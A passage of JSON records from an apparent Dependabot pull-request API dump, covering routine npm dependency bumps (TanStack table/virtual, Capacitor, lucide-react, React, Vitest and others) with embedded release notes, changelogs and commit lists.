href=\"https://github.com/TanStack/table/commit/2d5f5b65a98350949ac9ce7397a29ee9bbe2fd5e\"\u003e\u003ccode\u003e2d5f5b6\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/table/commit/87c6bcc52a5cd614d83d698c76048b4c1c2bb8f7\"\u003e\u003ccode\u003e87c6bcc\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e9.2.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/f1c3409bb4aae6c07ebb1cb0a0723372ed64223e\"\u003e\u003ccode\u003ef1c3409\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e9.2.6\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6611\"\u003e#6611\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e - Refactor bundled Intent skills into smaller entry points with references loaded for the current task. Keep core feature architecture and shared state directly discoverable, and move individual features, adapter compositions, and detailed migration guidance into references.\u003c/p\u003e\n\u003cp\u003eConsumers with individual skill permissions or explicit agent mappings must replace retired feature/composition IDs with their owning entry points and refresh Intent mappings. See the Agent Skills guide for the replacement paths.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.6\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e9.2.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6609\"\u003e#6609\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e - Update TanStack Store dependencies to the latest compatible patch releases.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/95c4768496c07b45b1e65d8e33c3291ac66eae9b\"\u003e\u003ccode\u003e95c4768\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6632\"\u003e#6632\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/3d3648f788310465e135c09fd3f803ef25a92c18\"\u003e\u003ccode\u003e3d3648f\u003c/code\u003e\u003c/a\u003e fix(react-table, preact-table): refresh AppTable context under cached element...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/d8ae30bcfe8665ef43d7557f4a492e0caa6f9c40\"\u003e\u003ccode\u003ed8ae30b\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6625\"\u003e#6625\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/2df4cf3673dc67fb903e5459ffa28ecfa15d88d4\"\u003e\u003ccode\u003e2df4cf3\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6612\"\u003e#6612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e fix(skills): Add progressive disclosure to bundled skills (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6611\"\u003e#6611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/1257a3f9dd0e2127f11222075d03e026594b44ec\"\u003e\u003ccode\u003e1257a3f\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6610\"\u003e#6610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e chore: package upgrades (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6609\"\u003e#6609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/0bdf588f98e9c2655a8b68947a7aadde4c3893b7\"\u003e\u003ccode\u003e0bdf588\u003c/code\u003e\u003c/a\u003e chore: package upgrades (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TanStack/table/commits/@tanstack/react-table@9.3.1/packages/react-table\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-virtual` from 3.14.13 to 3.14.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/virtual/releases\"\u003e@​tanstack/react-virtual's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-virtual\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.14.21\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/virtual/commit/05bb4d3e75359442e7a650f1814bd496e382bc3d\"\u003e\u003ccode\u003e05bb4d3\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/virtual-core\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.19.6\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-virtual\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.14.20\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003c...\n\n_Description has been truncated_","html_url":"https://github.com/sinhong2011/TraderMemos/pull/360","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/sinhong2011%2FTraderMemos/issues/360","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/360/packages"},{"uuid":"6014594976","node_id":"PR_kwDOVCVdjc8AAAABKdPlcQ","number":4,"state":"open","title":"chore(deps): bump the npm group with 13 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":4,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T15:34:23.000Z","updated_at":"2026-10-24T15:34:32.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm","update_count":13,"packages":[{"name":"@capacitor/android","old_version":"8.5.2","new_version":"8.5.3","repository_url":"https://github.com/ionic-team/capacitor"},{"name":"@capacitor/core","old_version":"8.5.2","new_version":"8.5.3","repository_url":"https://github.com/ionic-team/capacitor"},{"name":"@capacitor/filesystem","old_version":"8.1.4","new_version":"8.1.5","repository_url":"https://github.com/ionic-team/capacitor-filesystem"},{"name":"lucide-react","old_version":"1.49.0","new_version":"1.61.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"@capacitor/cli","old_version":"8.5.2","new_version":"8.5.3","repository_url":"https://github.com/ionic-team/capacitor"},{"name":"@tauri-apps/cli","old_version":"2.12.3","new_version":"2.12.4","repository_url":"https://github.com/tauri-apps/tauri"},{"name":"@types/node","old_version":"26.6.3","new_version":"26.6.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@vitest/coverage-v8","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"jsdom","old_version":"30.1.1","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"postcss","old_version":"8.5.29","new_version":"8.5.31","repository_url":"https://github.com/postcss/postcss"},{"name":"vitest","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm group with 13 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@capacitor/android](https://github.com/ionic-team/capacitor) | `8.5.2` | `8.5.3` |\n| [@capacitor/core](https://github.com/ionic-team/capacitor) | `8.5.2` | `8.5.3` |\n| [@capacitor/filesystem](https://github.com/ionic-team/capacitor-filesystem) | `8.1.4` | `8.1.5` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.49.0` | `1.61.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [@capacitor/cli](https://github.com/ionic-team/capacitor) | `8.5.2` | `8.5.3` |\n| [@tauri-apps/cli](https://github.com/tauri-apps/tauri) | `2.12.3` | `2.12.4` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `26.6.3` | `26.6.5` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `5.0.3` | `5.0.5` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.1` | `30.1.3` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.29` | `8.5.31` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.3` | `5.0.5` |\n\nUpdates `@capacitor/android` from 8.5.2 to 8.5.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/releases\"\u003e@​capacitor/android's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/blob/main/CHANGELOG.md\"\u003e@​capacitor/android's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/06e3e1984337f836a4c28b2afc92faa977dea315\"\u003e\u003ccode\u003e06e3e19\u003c/code\u003e\u003c/a\u003e Release 8.5.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/ba285693bf2afd76b350bf79a32afc7db5e67b37\"\u003e\u003ccode\u003eba28569\u003c/code\u003e\u003c/a\u003e chore: add .build/ folder to gitignore (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8640\"\u003e#8640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e\u003ccode\u003e145560e\u003c/code\u003e\u003c/a\u003e fix(cli): change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@capacitor/core` from 8.5.2 to 8.5.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/releases\"\u003e@​capacitor/core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/blob/main/CHANGELOG.md\"\u003e@​capacitor/core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/06e3e1984337f836a4c28b2afc92faa977dea315\"\u003e\u003ccode\u003e06e3e19\u003c/code\u003e\u003c/a\u003e Release 8.5.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/ba285693bf2afd76b350bf79a32afc7db5e67b37\"\u003e\u003ccode\u003eba28569\u003c/code\u003e\u003c/a\u003e chore: add .build/ folder to gitignore (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8640\"\u003e#8640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e\u003ccode\u003e145560e\u003c/code\u003e\u003c/a\u003e fix(cli): change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@capacitor/filesystem` from 8.1.4 to 8.1.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/releases\"\u003e@​capacitor/filesystem's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.1.5\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/compare/v8.1.4...v8.1.5\"\u003e8.1.5\u003c/a\u003e (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eios:\u003c/strong\u003e writeFile/stat in Directory.Temporary failing with OS-PLUG-FILE-0006 (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor-filesystem/issues/94\"\u003e#94\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/commit/71aaad1e2b8353b2565e015a97c86b20fbb67c25\"\u003e71aaad1\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/ionic-team/capacitor-filesystem/issues/90\"\u003e#90\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/@capacitor/filesystem/v/8.1.5\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/blob/main/CHANGELOG.md\"\u003e@​capacitor/filesystem's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/compare/v8.1.4...v8.1.5\"\u003e8.1.5\u003c/a\u003e (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eios:\u003c/strong\u003e writeFile/stat in Directory.Temporary failing with OS-PLUG-FILE-0006 (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor-filesystem/issues/94\"\u003e#94\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/commit/71aaad1e2b8353b2565e015a97c86b20fbb67c25\"\u003e71aaad1\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/ionic-team/capacitor-filesystem/issues/90\"\u003e#90\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/commit/757d7cd309f5dbee872198efc875554ed9681f4b\"\u003e\u003ccode\u003e757d7cd\u003c/code\u003e\u003c/a\u003e chore(release): 8.1.5 [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/commit/71aaad1e2b8353b2565e015a97c86b20fbb67c25\"\u003e\u003ccode\u003e71aaad1\u003c/code\u003e\u003c/a\u003e fix(ios): writeFile/stat in Directory.Temporary failing with OS-PLUG-FILE-000...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/compare/v8.1.4...v8.1.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.49.0 to 1.61.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.61.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ecircle-chevrons-down\u003c/code\u003e, \u003ccode\u003ecircle-chevrons-left\u003c/code\u003e, \u003ccode\u003ecircle-chevrons-right\u003c/code\u003e and 1 more icons by \u003ca href=\"https://github.com/ypotti\"\u003e\u003ccode\u003e@​ypotti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5025\"\u003elucide-icons/lucide#5025\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ypotti\"\u003e\u003ccode\u003e@​ypotti\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5025\"\u003elucide-icons/lucide#5025\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.60.0...1.61.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.60.0...1.61.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.60.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003etombstone\u003c/code\u003e icon by \u003ca href=\"https://github.com/ryck\"\u003e\u003ccode\u003e@​ryck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4929\"\u003elucide-icons/lucide#4929\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003esmartphone-user-round\u003c/code\u003e icon by \u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebacon\u003c/code\u003e icon by \u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix build by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5033\"\u003elucide-icons/lucide#5033\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(docs): Update icon count comparison with Feather Icons by \u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eletter-spacing\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the vue-deps group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5027\"\u003elucide-icons/lucide#5027\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump react-native from 0.87.1 to 0.88.0 in the react-native-deps group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5030\"\u003elucide-icons/lucide#5030\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eline-height\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3039\"\u003elucide-icons/lucide#3039\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the svelte-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5028\"\u003elucide-icons/lucide#5028\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the react-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5026\"\u003elucide-icons/lucide#5026\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebrain-off\u003c/code\u003e icon by \u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added 